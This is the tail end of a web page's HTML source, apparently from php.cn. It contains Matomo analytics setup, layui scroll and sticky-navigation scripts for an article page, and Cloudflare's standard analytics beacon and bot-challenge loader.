_paq.push(['enableLinkTracking']); (function () { var u = "https://tongji.php.cn/"; _paq.push(['setTrackerUrl', u + 'matomo.php']); _paq.push(['setSiteId', '9']); var d = document, g = d.createElement('script'), s = d.getElementsByTagName('script')[0]; g.async = true; g.src = u + 'matomo.js'; s.parentNode.insertBefore(g, s); })(); </script> <script> // top layui.use(function () { var util = layui.util; util.fixbar({ on: { mouseenter: function (type) { layer.tips(type, this, { tips: 4, fixed: true, }); }, mouseleave: function (type) { layer.closeAll("tips"); }, }, }); }); document.addEventListener("DOMContentLoaded", (event) => { // 定义一个函数来处理滚动链接的点击事件 function setupScrollLink(scrollLinkId, targetElementId) { const scrollLink = document.getElementById(scrollLinkId); const targetElement = document.getElementById(targetElementId); if (scrollLink && targetElement) { scrollLink.addEventListener("click", (e) => { e.preventDefault(); // 阻止默认链接行为 targetElement.scrollIntoView({ behavior: "smooth" }); // 平滑滚动到目标元素 }); } else { console.warn( `Either scroll link with ID '${scrollLinkId}' or target element with ID '${targetElementId}' not found.` ); } } // 使用该函数设置多个滚动链接 setupScrollLink("Article_Details_main1L2s_1", "article_main_title1"); setupScrollLink("Article_Details_main1L2s_2", "article_main_title2"); setupScrollLink("Article_Details_main1L2s_3", "article_main_title3"); setupScrollLink("Article_Details_main1L2s_4", "article_main_title4"); setupScrollLink("Article_Details_main1L2s_5", "article_main_title5"); setupScrollLink("Article_Details_main1L2s_6", "article_main_title6"); // 可以继续添加更多的滚动链接设置 }); window.addEventListener("scroll", function () { var fixedElement = document.getElementById("Article_Details_main1Lmain"); var scrollTop = window.scrollY || document.documentElement.scrollTop; // 兼容不同浏览器 var clientHeight = window.innerHeight || document.documentElement.clientHeight; // 视口高度 var scrollHeight = document.documentElement.scrollHeight; // 页面总高度 // 计算距离底部的距离 var distanceToBottom = scrollHeight - scrollTop - clientHeight; // 当距离底部小于或等于300px时,取消固定定位 if (distanceToBottom <= 980) { fixedElement.classList.remove("Article_Details_main1Lmain"); fixedElement.classList.add("Article_Details_main1Lmain_relative"); } else { // 否则,保持固定定位 fixedElement.classList.remove("Article_Details_main1Lmain_relative"); fixedElement.classList.add("Article_Details_main1Lmain"); } }); </script> <script> document.addEventListener('DOMContentLoaded', function() { const mainNav = document.querySelector('.Article_Details_main1Lmain'); const header = document.querySelector('header'); if (mainNav) { window.addEventListener('scroll', function() { const scrollPosition = window.scrollY; if (scrollPosition > 84) { mainNav.classList.add('fixed'); } else { mainNav.classList.remove('fixed'); } }); } }); </script> </body> </html><script defer src="https://static.cloudflareinsights.com/beacon.min.js/vcd15cbe7772f49c399c6a5babf22c1241717689176015" integrity="sha512-ZpsOmlRQV6y907TI0dKBHq9Md29nnaEIPlkf84rnaERnq6zvWvPUqr2ft8M1aS28oN72PdrCzSjY4U6VaAw1EQ==" data-cf-beacon='{"version":"2024.11.0","token":"8c758bee214b4fe0858e454e5edf6f97","r":1,"server_timing":{"name":{"cfCacheStatus":true,"cfEdge":true,"cfExtPri":true,"cfL4":true,"cfOrigin":true,"cfSpeedBrain":true},"location_startswith":null}}' crossorigin="anonymous"></script> <script>(function(){function c(){var b=a.contentDocument||a.contentWindow.document;if(b){var d=b.createElement('script');d.innerHTML="window.__CF$cv$params={r:'987153c98a012ad7',t:'MTc1OTIxMDIxNQ=='};var a=document.createElement('script');a.src='/cdn-cgi/challenge-platform/scripts/jsd/main.js';document.getElementsByTagName('head')[0].appendChild(a);";b.getElementsByTagName('head')[0].appendChild(d)}}if(document.body){var a=document.createElement('iframe');a.height=1;a.width=1;a.style.position='absolute';a.style.top=0;a.style.left=0;a.style.border='none';a.style.visibility='hidden';document.body.appendChild(a);if('loading'!==document.readyState)c();else if(window.addEventListener)document.addEventListener('DOMContentLoaded',c);else{var e=document.onreadystatechange||function(){};document.onreadystatechange=function(b){e(b);'loading'!==document.readyState&&(document.onreadystatechange=e,c())}}}})();</script>